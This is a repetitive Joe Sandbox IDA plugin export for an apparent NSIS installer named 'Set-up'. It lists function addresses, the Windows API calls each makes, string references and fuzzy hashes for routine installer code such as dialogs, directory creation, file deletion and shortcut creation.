Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
M, xrefs: 00404B43
@, xrefs: 00404B90
N, xrefs: 00404C06

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
@%F, xrefs: 00404674
82D, xrefs: 004046DB
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile("%s"), xrefs: 00406DBC
\*.*, xrefs: 00406D03
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
Delete: DeleteFile failed("%s"), xrefs: 00406DFD

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
